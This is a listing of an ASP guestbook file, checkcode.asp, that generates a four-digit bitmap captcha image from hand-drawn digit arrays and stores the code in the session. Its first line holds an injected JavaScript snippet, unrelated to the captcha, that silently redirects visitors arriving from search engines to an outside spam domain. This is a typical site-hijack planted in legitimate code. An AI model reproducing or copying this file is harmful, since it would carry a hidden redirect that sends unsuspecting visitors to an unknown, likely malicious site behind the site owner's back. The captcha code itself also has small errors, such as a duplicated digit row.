d:\wwwroot\wuchunhua\liuyan\checkcode.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><%
002: Call CreateSafeCode()   '调用CreateSafeCode 过程
003: Sub CreateSafeCode ()   '定义CreateSafeCode 过程
004:    'AddHeader 方法用于增加带有一个要发送到客户应用程序的特殊的HTTP头
005:    Response.AddHeader "Pragma","no-cache"
006:    Response.AddHeader "cache-ctrol","no-cache"
007:    '指定响应的HTTP 内容类型为"Image/BMP"
008:    Response.ContentType = "Image/BMP"  
009:    '生成随机数,因为Rnd 生成一个小于1但大于或等于0的数,所以8999*Rnd +1000 得到的
010:    '随机数为一个四位数
011:    Randomize timer
012:    SafeCode = cint(8999*Rnd+1000)
013:    '将SafeCode 保存在SessionCode("SafeCode")中
014:    Session("SafeCode") = CStr(SafeCode)
015:    ' 定义一个二维数组,保存字符数据    
016:    Dim Letter(10,20)
017:    '要显示的字符“0”
018:    Letter(0,0) = "0000000000000000"
019:    Letter(0,1) = "0000111110000000"
020:    Letter(0,2) = "0001111111000000"
021:    Letter(0,3) = "0011100011100000"
022:    Letter(0,4) = "0011000001110000"
023:    Letter(0,5) = "0111000000110000"
024:    Letter(0,6) = "0110000000111000"
025:    Letter(0,7) = "0110000000111000"
026:    Letter(0,8) = "1110000000111000"
027:    Letter(0,9) = "1100000000111000"
028:    Letter(0,10) = "1100000000111000"
029:    Letter(0,11) = "1110000000111000"
030:    Letter(0,12) = "1110000000110000"
031:    Letter(0,13) = "1110000000110000"
032:    Letter(0,14) = "0110000000110000"
033:    Letter(0,15) = "0111000001110000"
034:    Letter(0,15) = "0011100001100000"
035:    Letter(0,16) = "0001111111000000"
036:    Letter(0,17) = "0000111110000000"
037:    Letter(0,18) = "0000000000000000"
038:    Letter(0,19) = "0000000000000000"
039:
040:    '要显示的字符“1”
041:    Letter(1,0) = "0000000000000000"
042:    Letter(1,1) = "0000000111000000"
043:    Letter(1,2) = "0000000111000000"
044:    Letter(1,3) = "0000001110000000"
045:    Letter(1,4) = "0000001100000000"
046:    Letter(1,5) = "0000001100000000"
047:    Letter(1,6) = "0000001100000000"
048:    Letter(1,7) = "0000011100000000"
049:    Letter(1,8) = "0000011100000000"
050:    Letter(1,9) = "0000011100000000"
051:    Letter(1,10) = "0000011000000000"
052:    Letter(1,11) = "0000011000000000"
053:    Letter(1,12) = "0000011000000000"
054:    Letter(1,13) = "0000011000000000"
055:    Letter(1,14) = "0000011000000000"
056:    Letter(1,15) = "0000011000000000"
057:    Letter(1,16) = "0000011000000000"
058:    Letter(1,17) = "0000001000000000"
059:    Letter(1,18) = "0000000000000000"
060:    Letter(1,19) = "0000000000000000"
061:
062:
063:    '要显示的字符“2”
064:    Letter(2,0) = "0000000000000000"
065:    Letter(2,1) = "0000111111000000"
066:    Letter(2,2) = "0001111111100000"
067:    Letter(2,3) = "0011100001110000"
068:    Letter(2,4) = "0111000001110000"
069:    Letter(2,5) = "0111000001100000"
070:    Letter(2,6) = "0110000001100000"
071:    Letter(2,7) = "0000000011100000"
072:    Letter(2,8) = "0000000111000000"
073:    Letter(2,9) = "0000000111000000"
074:    Letter(2,10) = "0000001100000000"
075:    Letter(2,11) = "0000011100000000"
076:    Letter(2,12) = "0000111000000000"
077:    Letter(2,13) = "0001100000000000"
078:    Letter(2,14) = "0001100000000000"
079:    Letter(2,15) = "0011000001110000"
080:    Letter(2,16) = "0110111111110000"
081:    Letter(2,17) = "0111111111111000"
082:    Letter(2,18) = "0111110000000000"
083:    Letter(2,19) = "0000000000000000"
084:
085:
086:
087:    '要显示的字符“3”
088:    Letter(3,0) = "0000000000000000"
089:    Letter(3,1) = "0000111111100000"
090:    Letter(3,2) = "0011111111100000"
091:    Letter(3,3) = "0111000011110000"
092:    Letter(3,4) = "0110000001100000"
093:    Letter(3,5) = "0100000011100000"
094:    Letter(3,6) = "0000000011100000"
095:    Letter(3,7) = "0000000111000000"
096:    Letter(3,8) = "0000001100000000"
097:    Letter(3,9) = "0000011111000000"
098:    Letter(3,10) = "0000010011100000"
099:    Letter(3,11) = "0000000001110000"
100:    Letter(3,12) = "0000000001110000"
101:    Letter(3,13) = "0000000001110000"
102:    Letter(3,14) = "0000000001110000"
103:    Letter(3,15) = "0000000001100000"
104:    Letter(3,16) = "1110000011100000"
105:    Letter(3,17) = "1111111111000000"
106:    Letter(3,18) = "0111111110000000"
107:    Letter(3,19) = "0000000000000000"
108:
109:
110:    '要显示的字符“4”
111:    Letter(4,0) = "0000000000000000"
112:    Letter(4,1) = "0000000011100000"
113:    Letter(4,2) = "0000000111100000"
114:    Letter(4,3) = "0000001110000000"
115:    Letter(4,4) = "0000011101110000"
116:    Letter(4,5) = "0000111001110000"
117:    Letter(4,6) = "0000110001100000"
118:    Letter(4,7) = "0001100011100000"
119:    Letter(4,8) = "0011100011000000"
120:    Letter(4,9) = "0111000011000000"
121:    Letter(4,10) = "0110000011000000"
122:    Letter(4,11) = "0110000011000000"
123:    Letter(4,12) = "1100011111111000"
124:    Letter(4,13) = "1111111111110000"
125:    Letter(4,14) = "1111111110000000"
126:    Letter(4,15) = "1110000110000000"
127:    Letter(4,16) = "0000000111000000"
128:    Letter(4,17) = "0000000011000000"
129:    Letter(4,18) = "0000000011000000"
130:    Letter(4,19) = "0000000010000000"
131:
132:
133:    '要显示的字符“5”
134:    Letter(5,0) = "0000000000000000"
135:    Letter(5,1) = "0000110000010000"
136:    Letter(5,2) = "0001111111111000"
137:    Letter(5,3) = "0001111111110000"
138:    Letter(5,4) = "0001111000000000"
139:    Letter(5,5) = "0001100000000000"
140:    Letter(5,6) = "0011100000000000"
141:    Letter(5,7) = "0011100000000000"
142:    Letter(5,8) = "0011111111000000"
143:    Letter(5,9) = "0011111111100000"
144:    Letter(5,10) = "0000000001100000"
145:    Letter(5,11) = "0000000001100000"
146:    Letter(5,12) = "0000000001100000"
147:    Letter(5,13) = "0000000001100000"
148:    Letter(5,14) = "0000000001100000"
149:    Letter(5,15) = "0000000001100000"
150:    Letter(5,16) = "0000000111100000"
151:    Letter(5,17) = "0111111111000000"
152:    Letter(5,18) = "0011111100000000"
153:    Letter(5,19) = "0000000010000000"
154:
155:
156:    '要显示的字符“6”
157:    Letter(6,0) = "0000000000000000"
158:    Letter(6,1) = "0000001111000000"
159:    Letter(6,2) = "0000011110000000"
160:    Letter(6,3) = "0000111000000000"
161:    Letter(6,4) = "0001110000000000"
162:    Letter(6,5) = "0011100000000000"
163:    Letter(6,6) = "0011000000000000"
164:    Letter(6,7) = "0011000000000000"
165:    Letter(6,8) = "0111111111000000"
166:    Letter(6,9) = "0111111111100000"
167:    Letter(6,10) = "0111000001110000"
168:    Letter(6,11) = "0110000000110000"
169:    Letter(6,12) = "0110000000110000"
170:    Letter(6,13) = "0110000000110000"
171:    Letter(6,14) = "0110000000110000"
172:    Letter(6,15) = "0111000001110000"
173:    Letter(6,16) = "0011000001110000"
174:    Letter(6,17) = "0011111111100000"
175:    Letter(6,18) = "0001111111000000"
176:    Letter(6,19) = "0000000000000000"
177:
178:    '要显示的字符“7”
179:    Letter(7,0) = "0000000000000000"
180:    Letter(7,1) = "0010011111111000"
181:    Letter(7,2) = "0111111111110000"
182:    Letter(7,3) = "0111111001110000"
183:    Letter(7,4) = "0000000001100000"
184:    Letter(7,5) = "0000000011100000"
185:    Letter(7,6) = "0000000011000000"
186:    Letter(7,7) = "0000000011000000"
187:    Letter(7,8) = "0000000011000000"
188:    Letter(7,9) = "0000000111000000"
189:    Letter(7,10) = "0000000110000000"
190:    Letter(7,11) = "0000000110000000"
191:    Letter(7,12) = "0000000110000000"
192:    Letter(7,13) = "0000000110000000"
193:    Letter(7,14) = "0000001110000000"
194:    Letter(7,15) = "0000001110000000"
195:    Letter(7,16) = "0000001110000000"
196:    Letter(7,17) = "0000000100000000"
197:    Letter(7,18) = "0000000100000000"
198:    Letter(7,19) = "0000000000000000"
199:
200:    '要显示的字符“8”
201:    Letter(8,0) = "0000000000000000"
202:    Letter(8,1) = "0000111111000000"
203:    Letter(8,2) = "0001111111100000"
204:    Letter(8,3) = "0011100001100000"
205:    Letter(8,4) = "0011000001100000"
206:    Letter(8,5) = "0111000001110000"
207:    Letter(8,6) = "0111000001100000"
208:    Letter(8,7) = "0011000001100000"
209:    Letter(8,8) = "0011110111100000"
210:    Letter(8,9) = "0001111111100000"
211:    Letter(8,10) = "0011100011110000"
212:    Letter(8,11) = "0111000000110000"
213:    Letter(8,12) = "0111000000110000"
214:    Letter(8,13) = "0110000000111000"
215:    Letter(8,14) = "0110000000110000"
216:    Letter(8,15) = "0110000000110000"
217:    Letter(8,16) = "0111000001110000"
218:    Letter(8,17) = "0011111111110000"
219:    Letter(8,18) = "0001111111000000"
220:    Letter(8,19) = "0000000000000000"
221:
222:    '要显示的字符“9”
223:    Letter(9,0) = "0000000000000000"
224:    Letter(9,1) = "0001111111000000"
225:    Letter(9,2) = "0011111111100000"
226:    Letter(9,3) = "0111000011100000"
227:    Letter(9,4) = "0111000001110000"
228:    Letter(9,5) = "0110000000110000"
229:    Letter(9,6) = "0110000000110000"
230:    Letter(9,7) = "0110000000110000"
231:    Letter(9,8) = "0110000000110000"
232:    Letter(9,9) = "0111000001110000"
233:    Letter(9,10) = "0011111111110000"
234:    Letter(9,11) = "0001111111110000"
235:    Letter(9,12) = "0000000001100000"
236:    Letter(9,13) = "0000000001100000"
237:    Letter(9,14) = "0000000011100000"
238:    Letter(9,15) = "0000000111000000"
239:    Letter(9,16) = "0000001110000000"
240:    Letter(9,17) = "0000011100000000"
241:    Letter(9,18) = "0001111000000000"
242:    Letter(9,19) = "0000000000000000"
243:
244:    '显示一个8位的灰度图
245:    ' 输出图像文件头
246:    Response.BinaryWrite ChrB(66) & ChrB(77) & ChrB(54) & ChrB(9) &_
247:                   ChrB(0) & ChrB(0) & ChrB(0) & ChrB(0) &_
248:                   ChrB(0) & ChrB(0) & ChrB(54) & ChrB(4) & ChrB(0) & ChrB(0)
249:    ' 输出图像信息头
250:    Response.BinaryWrite ChrB(40) & ChrB(0) & ChrB(0) & ChrB(0) &_
251:       ChrB(64) & ChrB(0) & ChrB(0) & ChrB(0) & ChrB(20) & ChrB(0) &_
252:       ChrB(0) & ChrB(0) & ChrB(1) & ChrB(0) &ChrB(8) & ChrB(0) & ChrB(0) &_
253:       ChrB(0) & ChrB(0) & ChrB(0) & ChrB(0) & ChrB(5) & ChrB(0) & ChrB(0) &_
254:       ChrB(18) & ChrB(11) & ChrB(0) & ChrB(0) & ChrB(18) & ChrB(11) &_
255:       ChrB(0) & ChrB(0) & ChrB(0) & ChrB(0) & ChrB(0) & ChrB(0) & ChrB(0) &_
256:       ChrB(0) & ChrB(0) & ChrB(0)
257:     '输出图像调色板
258:    for i = 0 to 255
259:       Response.BinaryWrite ChrB(255-i) & ChrB(255-i) & ChrB(255-i) & ChrB(0)  
260:    Next
261:    '输出图像数据
262:    For iTemp1 = 19 to 0 step -1  '图像的每一行
263:             For iTemp2 = 1 to 4 '图像上显示的每一个字
264:                For iTemp3 = 1 to 16 '每个字的每一个像素
265:                   '获得SafeCode 第iTemp2 个字符,保存在SafeCodePer 中
266:                   SafeCodePer = Mid(SafeCode,iTemp2,1)
267:                   '从字符数据Letter 数组中找到SafeCodePer 对应的数组,例如1对应的数组为Letter(1,0) 到Letter(1,19),iTemp 指定具体的行
268:                   SafeCodeLetter = Letter(SafeCodePer,iTemp1)
269:                   '获得像素值
270:                   Pixel = Mid(SafeCodeLetter,iTemp3,1)*255
271:                   If Rnd*99 + 1<5 Then                  '5为随机生成杂点的概率,可以修改
272:                      color = Rnd*255
273:                      Response.BinaryWrite ChrB(color)    '杂点的颜色为128
274:                   Else
275:                      Response.BinaryWrite ChrB(Pixel)
276:                   End If
277:                next
278:             next
279:    next
280:
281: End Sub
282: %
>
283:
284: